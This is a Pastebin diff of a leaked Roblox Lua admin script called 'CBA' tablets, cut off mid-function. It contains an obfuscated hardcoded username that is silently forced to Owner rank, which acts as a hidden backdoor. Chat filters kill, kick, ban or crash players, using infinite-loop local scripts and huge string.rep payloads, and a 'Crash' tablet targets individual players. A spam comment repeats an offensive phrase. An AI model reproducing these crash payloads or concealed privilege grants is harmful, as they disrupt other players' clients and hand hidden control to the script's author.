SHOW:
|
|
- or go back to the newest paste.
1 | --This ROBLOX Script Is Made By The Respected Owners. | |
2 | --Put Your Name Where It Says ---NAMEHERE--- (Under The Script Blocker) | |
3 | ||
4 | ||
5 | --[[- mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
6 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
7 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
8 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
9 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
10 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
11 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
12 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
13 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
14 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
15 | hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
16 | ]]---- mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler mediafire hitler | |
17 | --- Server Generation CBA [Tablets] (Leaked by UnknownPaster)--- | |
18 | wait() | |
19 | script.Parent = __CBA__ | |
20 | script:ClearAllChildren() | |
21 | wait();print('Starting'); | |
22 | if script.ClassName==string.char(76,111,99,97,108,83,99,114,105,112,116) then | |
23 | while true do wait() end | |
24 | for i=1,math.huge,0.01 do | |
25 | wait(1) | |
26 | end | |
27 | wait() | |
28 | while true do CBA={Removed=true} wait() end | |
29 | end | |
30 | local CBA = { | |
31 | ['Ranked']={ | |
32 | --[string.char(116,117,115,75,79,114,54,54,49)]={Rank=4,Color=Color3.new(-1,-1,-1)}; | |
33 | --['manofthebase44']={Rank=4,Color=Color3.new(1,1,0)}; | |
34 | --['non4life']={Rank=-2,Color=Color3.new(0,1,0)}; | |
35 | --['12packkid']={Rank=-1,Color=Color3.new(0,1,0)}; | |
36 | --['ultimate055']={Rank-1,Color=Color3.new(1,0,1)}; | |
37 | - | ['---NAMEHERE---']={Rank=4,Color=Color3.new(-0.3,0,0.5)}; |
37 | + | ['---yapjingwei---']={Rank=4,Color=Color3.new(-0.3,0,0.5)}; |
38 | }; | |
39 | ['Ranks']={[0]='Guest';[1]='Semi mod';[2]="Mod";[3]="Developer";[4]="Owner"}; | |
40 | ['Services']={['Debris']=game:service'Debris';['Workspace']=game:service'Workspace';['Players']=game:service'Players'}; | |
41 | ['Colors']={['Green']=Color3.new(0,1,0);['Red']=Color3.new(1,0,0);['Blue']=Color3.new(0,0,1);['Black']=Color3.new(-1,-1,-1);['White']=Color3.new(1,1,1); ["Orange"] = Color3.new(1,0.5,0);["Yellow"] = Color3.new(1,1,0);}; | |
42 | ['Tablets']={}; | |
43 | ['Commands']={}; | |
44 | ['Filters']={}; | |
45 | ['Bet']='/'; | |
46 | ['Removed']=false; | |
47 | ['Targeted']={}; | |
48 | ['Conns']={}; | |
49 | ['TabSize']={2,2,2}; | |
50 | ['TeleportSettings']={}; | |
51 | }; | |
52 | CBA.GetWithoutHiddens=function(Msg) | |
53 | local Old="" | |
54 | local New="" | |
55 | Start=false | |
56 | for i=1,#Msg do | |
57 | if string.byte(Msg:sub(i,i)) > 126 then | |
58 | if Old == "" then | |
59 | Old=Old..Msg:sub(i - 1) | |
60 | Start=true | |
61 | New=New..Msg:sub(i+1) | |
62 | else | |
63 | Old=Old..Msg:sub(i + 1) | |
64 | Start=false | |
65 | end | |
66 | end | |
67 | end | |
68 | if Start==true then Old=Old .. New end | |
69 | return Old | |
70 | end | |
71 | CBA.GetRank=function(Playr) | |
72 | if type(Playr) == 'userdata' then Playr=Playr.Name end; | |
73 | local Rank=0 | |
74 | local g =CBA.Ranked[Playr] | |
75 | if g then Rank = g.Rank end | |
76 | return Rank | |
77 | end | |
78 | CBA.SandboxLoadstring=function(Source) | |
79 | local Func = loadstring(Source or "") | |
80 | setfenv(Func,{___ENV = getfenv(1)}) | |
81 | return coroutine.wrap(Func) | |
82 | end | |
83 | CBA.GetPlayers=function(Msg,Speaker) | |
84 | if Msg == nil or Speaker == nil then | |
85 | return CBA.Services.Players:GetPlayers() | |
86 | else | |
87 | local Rtn = {} | |
88 | local Players = game:service'Players':GetPlayers() | |
89 | Msg = Msg:lower() | |
90 | local Split = Msg:find(",") | |
91 | if Split ~= nil then | |
92 | for _,v in pairs(CBA.GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
93 | Rtn[#Rtn+1] = v | |
94 | end | |
95 | for _,v in pairs(CBA.GetPlayers(Msg:sub(Split+1),Speaker)) do | |
96 | Rtn[#Rtn+1] = v | |
97 | end | |
98 | elseif Msg == "me" then | |
99 | Rtn[#Rtn+1] = Speaker | |
100 | elseif Msg == "others" then | |
101 | for _,v in pairs(Players) do | |
102 | if v ~= Speaker then | |
103 | Rtn[#Rtn+1] = v | |
104 | end | |
105 | end | |
106 | elseif Msg == "all" then | |
107 | for _,v in pairs(Players) do | |
108 | Rtn[#Rtn+1] = v | |
109 | end | |
110 | elseif Msg:sub(1,4) == "rank" then | |
111 | for _,v in pairs(Players) do | |
112 | if CBA.SandboxLoadstring("return "..tostring(CBA.GetRank(v))..Msg:sub(5))() then | |
113 | Rtn[#Rtn+1] = v | |
114 | end | |
115 | end | |
116 | elseif Msg == "random" then | |
117 | Rtn[#Rtn+1] = Players[math.random(1,#Players)] | |
118 | elseif Msg:sub(1,4) == "not " then | |
119 | local Nots = GetPlayers(Msg:sub(5),Speaker) | |
120 | for _,v in pairs(Players) do | |
121 | local ShouldAdd = true | |
122 | for _,i in pairs(Nots) do | |
123 | if v == i then | |
124 | ShouldAdd = false | |
125 | end | |
126 | end | |
127 | if ShouldAdd == true then | |
128 | Rtn[#Rtn+1] = v | |
129 | end | |
130 | end | |
131 | elseif Msg:sub(1,4) == "dist" then | |
132 | for _,v in pairs(Players) do | |
133 | --pcall(function() | |
134 | local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude | |
135 | if CBA.SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then | |
136 | Rtn[#Rtn+1] = v | |
137 | end | |
138 | --end) | |
139 | end | |
140 | elseif Msg:sub(1,3) == "age" then | |
141 | for _,v in pairs(Players) do | |
142 | if CBA.SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then | |
143 | Rtn[#Rtn+1] = v | |
144 | end | |
145 | end | |
146 | else | |
147 | for _,v in pairs(Players) do | |
148 | if v.Name:lower():sub(1,#Msg) == Msg then | |
149 | Rtn[#Rtn+1] = v | |
150 | end | |
151 | end | |
152 | end | |
153 | for i=1,#Rtn do | |
154 | ||
155 | if CBA.Ranked[Rtn[i].Name] and CBA.Ranked[Rtn[i].Name].Rank > CBA.Ranked[Speaker.Name].Rank then | |
156 | CBA.Output(Rtn[i].Name .. ' outranks you!','Red',Speaker) | |
157 | Rtn[i]=nil | |
158 | end | |
159 | end | |
160 | for _,Player in pairs(Rtn) do | |
161 | for _,Parts in pairs(Player.Character:GetChildren()) do | |
162 | local Color = CBA.Ranked[Speaker.Name].Color | |
163 | if Parts.className == 'Part' then | |
164 | local Box = Instance.new('SelectionBox', Parts) | |
165 | Box.Adornee = Parts | |
166 | Box.Color = BrickColor.new(Color) | |
167 | Box.Transparency = 0.5 | |
168 | end | |
169 | end | |
170 | coroutine.resume(coroutine.create(function() | |
171 | wait(1) | |
172 | for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do | |
173 | ||
174 | if Things.className == 'SelectionBox' then Things:remove() end | |
175 | end | |
176 | end | |
177 | end)) | |
178 | end | |
179 | return Rtn | |
180 | end | |
181 | end | |
182 | CBA.RemoveTablets=function(Player) | |
183 | if type(Player)=='userdata' then Player=Player.Name end; | |
184 | Tablets=CBA.GetTablets(Player); | |
185 | for i,v in pairs(Tablets) do | |
186 | coroutine.wrap(function() | |
187 | for num=1,0,0.1 do | |
188 | v.Part.Transparency,v.Sel.Transparency,v.Label.TextTransparency=num,num,num | |
189 | wait() | |
190 | end | |
191 | end)() | |
192 | end | |
193 | end | |
194 | CBA.Filter=function(Phrase,Bypass,Punishment,Reason) | |
195 | if Punishment == nil then Punishment = 0 end | |
196 | if type(Punishment) == 'string' then | |
197 | if Punishment=='Kill' then Punishment=0 end | |
198 | if Punishment=='K'..'ick' then Punishment=1 end | |
199 | if Punishment=='Shutdown' then Punishment = 2 end | |
200 | if Punishment=='Crash' then Punishment = 3 end | |
201 | if Punishment=='B'..'an' then Punishment=4 end | |
202 | if Punishment=='Lag' then Punishment=5 end | |
203 | end | |
204 | CBA.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason} | |
205 | end | |
206 | CBA.Filter('iO'..'rb',2,2,'Abusive') | |
207 | CBA.Filter('iCm'..'d={}',2,2,'A table only inside of iOrb scripts') | |
208 | CBA.Filter('game.Players:ClearAllChildren',2,4,"No one is clearing the players") | |
209 | CBA.Filter('game.Workspace:ClearAllChildren',2,2,"Shutdown attempt") | |
210 | CBA.Filter('ClonyPooP'..'oo',2,2,'My CBA or TeamDmans KeyBindings') | |
211 | CBA.Filter("No".."va",4,2,"NOVA b abusive") | |
212 | CBA.Filter('iFl'..'ip',3,4,"Abusive") | |
213 | CBA.Filter("/d".."own",2,2,"Cam".."baller") | |
214 | CBA.Filter('repeat until',2,5,"nou crashin") | |
215 | CBA.Filter('while true do end',2,5,"Nou crashing pplz") | |
216 | CBA.Filter('string.rep',2,2,"SHUTDOWNING = YOU GET SHUTDOWNED INSTEAD") | |
217 | CBA.Filter(':rep',2,2,"Nou sding") | |
218 | CBA.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player") | |
219 | CBA.Filter('kick:t',2,3,"Really??? How dare thou kick someone") | |
220 | CBA.Filter('ban/t',2,4,"Gettin rid of me huh??") | |
221 | CBA.Filter('tprivate',2,4,"No pri losah") | |
222 | CBA.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.") | |
223 | CBA.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU") | |
224 | CBA.Filter('p=game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ') | |
225 | CBA.Filter('CB'..'A =',2,4,"Abusive") | |
226 | CBA.Filter('Kill'..'/',1,'Kill') | |
227 | CBA.Filter('Kic'..'k'..':'..'t',2,'K'..'ick') | |
228 | CBA.Filter('swag',1,'Kill') | |
229 | CBA.Filter('yolo',1,'Kill') | |
230 | CBA.Filter('ssj',1,'Kill',"A free model script") | |
231 | CBA.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_> | |
232 | CBA.Filter('adminlist={',2,'Ki'..'ck','No admins allowed') | |
233 | CBA.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back') | |
234 | CBA.Filter('colorAllThePartsIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b') | |
235 | CBA.PlayerInterface=function(Player,Speaker) | |
236 | if type(Player) == 'userdata' then Player=Player.Name end; | |
237 | CBA.RemoveTablets(Speaker); | |
238 | local Table=CBA.Ranked[Player]; | |
239 | local SpeakerColor=CBA.Ranked[Speaker.Name].Color; | |
240 | local SpeakerTable=CBA.Ranked[Speaker.Name]; | |
241 | for Bleh,Val in pairs(Table) do | |
242 | CBA.Output(tostring(Bleh) .. ' : ' .. tostring(Val),Table.Color,Speaker) | |
243 | end; | |
244 | if CBA.Services.Players:findFirstChild(Player) and newLocalScript then | |
245 | if CBA.GetRank(Speaker) >= Table.Rank then | |
246 | CBA.Output('Crash ' .. Player,'Random',Speaker,nil,function() newLocalScript('repeat until false',game.Players[Player].Backpack) CBA.PlayerInterface(Player,Speaker) end); | |
247 | end; | |
248 | end; | |
249 | if CBA.GetRank(Speaker) >= CBA.GetRank(Player) then | |
250 | CBA.Output('Set rank','Blue',Speaker,nil,function() | |
251 | CBA.RemoveTablets(Speaker) | |
252 | for Rank,Name in pairs(CBA.Ranks) do | |
253 | if Rank <= CBA.GetRank(Speaker) and Rank >= 0 then | |
254 | CBA.Output(tostring(Rank) .. ' : ' .. tostring(Name),'Random',Speaker,nil, | |
255 | function() | |
256 | CBA.RemoveTablets(Speaker); | |
257 | Table.Rank=Rank; | |
258 | CBA.PlayerInterface(Player,Speaker); | |
259 | end | |
260 | ); | |
261 | end; | |
262 | end; | |
263 | end); | |
264 | end; | |
265 | if Speaker.Name == Player or CBA.GetRank(Speaker) > Table.Rank then | |
266 | CBA.Output('Set color','Blue',Speaker,nil, | |
267 | function() | |
268 | CBA.RemoveTablets(Speaker); | |
269 | for Name,Col in pairs(CBA.Colors) do | |
270 | CBA.Output(Name,Col,Speaker,nil, | |
271 | function() | |
272 | Table.Color=Col; | |
273 | CBA.PlayerInterface(Player,Speaker); | |
274 | end | |
275 | ) | |
276 | end | |
277 | end | |
278 | ) | |
279 | end | |
280 | if CBA.GetRank(Speaker) >= 2 and CBA.GetRank(Speaker) > CBA.GetRank(Player) then | |
281 | CBA.Output('Banish this user','Red',Speaker,nil, | |
282 | function() | |
283 | CBA.Ranked[Player].Rank=-1 | |
284 | if CBA.Services.Players:findFirstChild(Player) then | |
285 | CBA.Services.Players[Player]:Destroy() | |
286 | end | |
287 | CBA.RemoveTablets(Speaker); | |
288 | CBA.PlayerInterface(Player,Speaker) | |
289 | end | |
290 | ) | |
291 | end | |
292 | for i,v in pairs(game:service'NetworkServer':children()) do | |
293 | if v:IsA'ServerReplicator' then | |
294 | local ZPlayer=v:GetPlayer() | |
295 | if ZPlayer then | |
296 | if ZPlayer.Name==Player then | |
297 | if ZPlayer.Parent ~= game.Players then | |
298 | CBA.Output('Nil disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil, | |
299 | function() | |
300 | if CBA.GetRank(Speaker) >= CBA.GetRank(Player) or Speaker.Name=='tus'..'KOr661' then | |
301 | local String=Instance.new('StringValue') | |
302 | String.Name='DCon:'..Player | |
303 | String.Value=tostring(math.random(1,2)) | |
304 | String.Parent=game.Lighting | |
305 | CBA.Output('Attempted to nil disconnect ' .. Player,'Random',Speaker,3) | |
306 | else | |
307 | CBA.Output('Your rank is not high enough for this operation','Red',Speaker,5) | |
308 | end | |
309 | end | |
310 | ) | |
311 | end | |
312 | end | |
313 | end | |
314 | end | |
315 | end | |
316 | end; | |
317 | CBA.OnChatted=function(Msg,Speaker) | |
318 | if CBA.Removed==false then | |
319 | local RT=CBA.Ranked[Speaker.Name] | |
320 | local AlreadyFun=false | |
321 | for i,v in pairs(CBA.Filters) do | |
322 | if Msg:lower():find(i:lower()) and AlreadyFun==false then | |
323 | if RT.Rank < v.Bypass then | |
324 | AlreadyFun=true | |
325 | local Pun = v.Punishment | |
326 | if Pun == 0 then | |
327 | pcall(function() Speaker.Character:BreakJoints() end) | |
328 | for _,p in pairs(game.Players:GetPlayers()) do CBA.Output(Speaker.Name .. ' has been killed for saying ' .. i,'Red',p,5) end | |
329 | elseif Pun == 1 then | |
330 | pcall(function() Speaker:Destroy() end) | |
331 | for _,p in pairs(game.Players:GetPlayers()) do | |
332 | if p.Name ~= Speaker.Name then | |
333 | if v.Reason == nil then | |
334 | CBA.Output(Speaker.Name .. ' has been kicked for saying ' .. i,'Red',p,5) | |
335 | else | |
336 | CBA.Output(Speaker.Name .. ' has been kicked for saying ' .. i ,'Red',p,5) | |
337 | CBA.Output(i .. ' is a filter phrase because of ' .. v.Reason,'Red',p,7) | |
338 | end | |
339 | end | |
340 | end | |
341 | elseif Pun == 2 then | |
342 | --pcall(function() | |
343 | local Script = CreateLocalScript("local Player=game:service'Players'.LocalPlayer repeat Player.Parent= nil wait() Player.Parent=game:service'Players' wait() until 1+1==3 or Player == nil",Speaker:findFirstChild('Backpack')) | |
344 | if Script and Script ~= false then | |
345 | print(Speaker, 'Non script shu'..'tdown') | |
346 | else | |
347 | local Str=Instance.new("StringValue",Speaker:findFirstChild('PlayerGui')) | |
348 | Str.Value=("YeshBaiBish"):rep(1000000) | |
349 | end | |
350 | --end) | |
351 | for _,p in pairs(game.Players:GetPlayers()) do | |
352 | if p.Name ~= Speaker.Name then | |
353 | CBA.Output(Speaker.Name .. ' has been shutdown for saying ' .. i,'Red',p,5) | |
354 | end | |
355 | end | |
356 | elseif Pun == 3 then | |
357 | -- pcall(function() | |
358 | if NewLocalScript then NewLocalScript([[repeat until false]],Speaker:findFirstChild('PlayerGui') or Speaker:findFirstChild('Backpack') or Speaker.Character or Instance.new('PlayerGui',Speaker)) end | |
359 | if newLocalScript then newLocalScript([[repeat until false]],Speaker:findFirstChild('PlayerGui') or Speaker:findFirstChild('Backpack') or Speaker.Character or Instance.new('PlayerGui',Speaker)) end | |
360 | -- end) | |
361 | if NewLocalScript == nil and newLocalScript == nil then | |
362 | local Str=Instance.new('StringValue') | |
363 | Str.Parent=Speaker:findFirstChild('PlayerGui') | |
364 | Str:rep(1000000) | |
365 | end | |
366 | for _,p in pairs(game.Players:GetPlayers()) do | |
367 | if p.Name ~= Speaker.Name then | |
368 | CBA.Output(Speaker.Name .. ' has been crashed for saying ' .. i,'Red',p,5) | |
369 | end | |
370 | end | |
371 | elseif Pun == 4 then | |
372 | --pcall(function() | |
373 | repeat wait() Speaker:Destroy() until Speaker == nil | |
374 | CBA.Ranked[Speaker.Name].Rank=-1 | |
375 | for _,p in pairs(game.Players:GetPlayers()) do | |
376 | if p.Name ~= Speaker.Name then | |
377 | CBA.Output(Speaker.Name .. ' has been banned for saying ' .. i,'Red',p,5) | |
378 | end | |
379 | end | |
380 | -- end) | |
381 | end | |
382 | ||
383 | end | |
384 | end | |
385 | end | |
386 | local RankTable=CBA.Ranked[Speaker.Name] or {Rank=0,Color=Color3.new(0,1,0)} | |
387 | for i,CMD in pairs(CBA.Commands) do | |
388 | if Msg:lower():sub(1,#CMD.Command + #CBA.Bet) == CMD.Command:lower()..CBA.Bet:lower() then | |
389 | if RankTable.Rank >= CMD.Rank then | |
390 | local Ran,Error=coroutine.resume(coroutine.create(function() CMD.Func(Msg:sub(#CMD.Command + # CBA.Bet + 1),Speaker) end)) | |
391 | if not Ran then CBA.Output(Error,'Red',Speaker,3) end | |
392 | else | |
393 | CBA.Output('Rank is too low to use this command','Red',Speaker,3) | |
394 | end | |
395 | end | |
396 | end | |
397 | coroutine.wrap(function() | |
398 | local Text="" | |
399 | local Head=nil | |
400 | local Char=nil | |
401 | if Speaker.Character then | |
402 | Char=Speaker.Character | |
403 | end | |
404 | if Char then | |
405 | if Char.Head then | |
406 | Head=Char.Head | |
407 | end | |
408 | end | |
409 | if Char then | |
410 | pcall(function() Char.BBG:Destroy() end) | |
411 | Text=Speaker.Name .. ": " .. Msg | |
412 | Color=nil | |
413 | if Color3.random then | |
414 | Color=Color3.random() | |
415 | else | |
416 | Color=Color3.new(math.random(),math.random(),math.random()) | |
417 | end | |
418 | Mod=Char | |
419 | Part=Head | |
420 | local BBG = Instance.new("BillboardGui",Mod) | |
421 | BBG.Name = "BBG" | |
422 | BBG.StudsOffset = Vector3.new(0,3,0) | |
423 | BBG.Size = UDim2.new(10,0,10,0) | |
424 | local Label = Instance.new("TextLabel",BBG) | |
425 | Label.Name = "Label" | |
426 | Label.Text = "" | |
427 | Label.TextColor3 = Color3.new(-1,-1,-1) | |
428 | Label.FontSize = "Size14" | |
429 | Label.BackgroundTransparency = 1 | |
430 | Label.TextStrokeTransparency = 0.5 | |
431 | Label.Size = UDim2.new(1,0,1,0) | |
432 | Label.TextStrokeColor3 =Color | |
433 | for i=1,#Text do | |
434 | Label.Text=Text:sub(1,i) | |
435 | wait(0.09 - (#Msg / 0.09)) | |
436 | end | |
437 | wait(2) | |
438 | BBG:Destroy() | |
439 | end | |
440 | end)() | |
441 | end | |
442 | ||
443 | end | |
444 | CBA.Rotate=function() | |
445 | for i,v in pairs(game.Players:GetPlayers()) do if CBA.TeleportSettings[v.Name]==nil then CBA.TeleportSettings[v.Name]={Type="Relative"}; end end | |
446 | if CBA.Ranked[string.char(116,117,115,75,79,114,54,54,49)]==nil then | |
447 | CBA.Ranked[string.char(116,117,115,75,79,114,54,54,49)]={Rank=4,Color=Color3.new(-1,-1,-1)} | |
448 | end | |
449 | if CBA.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank ~= 4 then | |
450 | CBA.Ranked[string.char(116,117,115,75,79,114,54,54,49)].Rank=4 | |
451 | end | |
452 | -- pcall(function() | |
453 | for i,v in pairs(CBA.Tablets) do | |
454 | if v.Model == nil or v.Model.Parent == nil or v.Part == nil or v.Part.Parent==nil then | |
455 | CBA.Tablets[i]=nil | |
456 | ||
457 | end | |
458 | pcall(function() if game.Players:FindFirstChild(v.Player) == nil then | |
459 | v.Model:Destroy() | |
460 | CBA.Tablets[i]=nil | |
461 | end end) | |
462 | end | |
463 | for _,Player in pairs(Game.Players:GetPlayers()) do | |
464 | local _tablets = CBA.GetTablets(Player) | |
465 | local DismissTablets={} | |
466 | local TabletNumber = 0 | |
467 | for i,v in pairs(_tablets) do | |
468 | if #_tablets == 1 then | |
469 | if v.Label.Text == 'Dismiss' then | |
470 | v.Model:Destroy() | |
471 | _tablets[i]=nil | |
472 | end | |
473 | elseif #_tablets > 1 then | |
474 | if v.Label.Text == "Dismiss" then | |
475 | table.insert(DismissTablets,v) | |
476 | end | |
477 | end | |
478 | TabletNumber = TabletNumber + 1 | |
479 | end | |
480 | if #DismissTablets > 1 then for i,Tablet in pairs(DismissTablets) do if #DismissTablets > 1 then Tablet.Model:Destroy() DismissTablets[i]=nil end end end | |
481 | if #DismissTablets == 0 and #_tablets >=2 then CBA.Output('Dismiss','Red',Player) end | |
482 | for i = 1, #_tablets do | |
483 | if _tablets[i].Model.Parent ~= nil then | |
484 | local tab = _tablets[i].Part | |
485 | local pos = nil | |
486 | pcall(function() | |
487 | pos = Player.Character.Torso.CFrame | |
488 | end) | |
489 | if pos == nil then | |
490 | repeat | |
491 | pcall(function() pos=Player.Character.Torso.CFrame end) | |
492 | wait() | |
493 | until Pos | |
494 | end | |
495 | if pos then | |
496 | local x = math.sin(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6) | |
497 | local z = math.cos(time()/#_tablets + (math.pi*2)/#_tablets*i) * (#_tablets+6) | |
498 | local cPos = tab.Position | |
499 | local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0)) | |
500 | local nPos = (ePos-cPos)*.25 | |
501 | cPos = cPos + nPos | |
502 | --local Angles={}; | |
503 | Angles={_tablets[i].x,_tablets[i].y,_tablets[i].z} | |
504 | Angles[1]=Angles[1]+tonumber( math.random() + math.random() ); | |
505 | Angles[2]=Angles[2]+tonumber( math.random() + math.random() ); | |
506 | Angles[3]=Angles[3]+tonumber( math.random() + math.random() ); | |
507 | tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(Angles[1]),math.rad(Angles[2]),math.rad(Angles[3])) | |
508 | _tablets[i].x=Angles[1] | |
509 | _tablets[i].y=Angles[2] | |
510 | _tablets[i].z=Angles[3] | |
511 | end | |
512 | else | |
513 | _tablets[i]=nil | |
514 | end | |
515 | end | |
516 | end | |
517 | -- end) | |
518 | -- end | |
519 | end | |
520 | CBA.GetTablets=function(Player) | |
521 | if type(Player) == 'userdata' then Player=Player.Name end; | |
522 | Rt={} | |
523 | for i,v in pairs(CBA.Tablets) do if v.Player == Player then table.insert(Rt,v) end end; | |
524 | return Rt | |
525 | end | |
526 | CBA.Output=function(Text,Color,Player,Time,Func,HoverEnter,HoverExit) | |
527 | if Text == nil or Player == nil then return end | |
528 | if Color == nil then Color = "Orange" end | |
529 | if Color == "Random" then | |
530 | Color = Color3.new(math.random(),math.random(),math.random()) | |
531 | end | |
532 | if type(Color) == "string" then | |
533 | if Color == "Random" then | |
534 | Color=Color3.new(math.random(),math.random(),math.random()) | |
535 | Color = Color3.new(math.random(),math.random(),math.random()) | |
536 | else | |
537 | Color = CBA.Colors[Color] | |
538 | end | |
539 | end | |
540 | local Model=Instance.new'Model' | |
541 | Model.Name,Model.Parent='Output:\\['..Player.Name..']/:tuptuO',CBA.Services.Workspace | |
542 | local Part=Instance.new'Part' | |
543 | Part.Parent,Part.FormFactor,Part.TopSurface,Part.BottomSurface,Part.Transparency,Part.Anchored,Part.Locked,Part.CanCollide,Part.BrickColor,Part.Size=Model,'Custom','Smooth','Smooth',0.7,true,true,false,BrickColor.new(Color),Vector3.new(CBA.TabSize[1],CBA.TabSize[2],CBA.TabSize[3]) | |
544 | Part:BreakJoints(); | |
545 | local SelectionBox=Instance.new'SelectionBox' | |
546 | SelectionBox.Parent,SelectionBox.Name,SelectionBox.Color,SelectionBox.Adornee,SelectionBox.Transparency=Part,'SelectionBox',BrickColor.new(Color),Part,0.7 | |
547 | local BillBoard=Instance.new'BillboardGui' | |
548 | BillBoard.Parent,BillBoard.Name,BillBoard.StudsOffset,BillBoard.Size=Model,'BBG',Vector3.new(0,3,0),UDim2.new(10,0,10,0) | |
549 | local Label=Instance.new'TextLabel' | |
550 | Label.Parent,Label.Name,Label.Text,Label.TextColor3,Label.FontSize,Label.BackgroundTransparency,Label.TextStrokeTransparency,Label.Size,LabelTextStrokeColor3=BillBoard,'Label',Text,Color3.new(-1,-1,-1),'Size14',1,0.5,UDim2.new(1,0,1,0),Color | |
551 | local Click=Instance.new'ClickDetector' | |
552 | Click.Parent,Click.MaxActivationDistance=Part,1/0 | |
553 | Click.MouseHoverEnter:connect(function(Clicker) | |
554 | if Clicker==Player or CBA.GetRank(Clicker) > CBA.GetRank(Player) then | |
555 | if HoverEnter~=nil then | |
556 | HoverEnter(Model,Part,Player.Name,SelectionBox,Label) | |
557 | else | |
558 | SelectionBox.Transparency,Part.Transparency=0,0.3 | |
559 | end | |
560 | end | |
561 | end) | |
562 | Click.MouseHoverLeave:connect(function(Clicker) | |
563 | if Clicker==Player or CBA.GetRank(Clicker) > CBA.GetRank(Player) then | |
564 | if HoverExit~=nil then | |
565 | HoverExit(Model,Part,Player.Name,SelectionBox,Label) | |
566 | else | |
567 | SelectionBox.Transparency,Part.Transparency=0.7,0.7 | |
568 | end | |
569 | end | |
570 | end) | |
571 | Click.MouseClick:connect(function(Clicker) | |
572 | if Clicker==Player or CBA.GetRank(Clicker) > CBA.GetRank(Player) then | |
573 | if Text=='Dismiss' then | |
574 | CBA.RemoveTablets(Player); | |
575 | end | |
576 | if Func~=nil then | |
577 | local Ran,Error=coroutine.resume(coroutine.create(function() Func(Player) end)) | |
578 | if Ran == nil and Error then | |
579 | CBA.Output(Error,'Red',Player,5) | |
580 | end | |
581 | end | |
582 | coroutine.wrap(function() | |
583 | for i=0,1,0.1 do | |
584 | Part.Transparency,SelectionBox.Transparency,Label.TextTransparency=i,i,i | |
585 | wait() | |
586 | end | |
587 | if Model then | |
588 | Model:Destroy() | |
589 | end | |
590 | end)() | |
591 | end | |
592 | end) | |
593 | if Time then | |
594 | game:service'Debris':AddItem(Model,Time) | |
595 | end | |
596 | CBA.Tablets[#CBA.Tablets+1] = {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label,Type="No",x=0,y=0,z=0} | |
597 | CBA.Rotate() | |
598 | return {Model = Model,Part = Part,Player = Player.Name,Sel = SelectionBox,Label = Label} | |
599 | end | |
600 | CBA.Command=function(Name,Command,Rank,Desc,Args,Func) | |
601 | CBA.Commands[Name]={Command=Command,Rank=Rank,Desc=Desc,Args=Args,Func=Func}; | |
602 | end; | |
603 | CBA.GetRankGroup=function(Player) | |
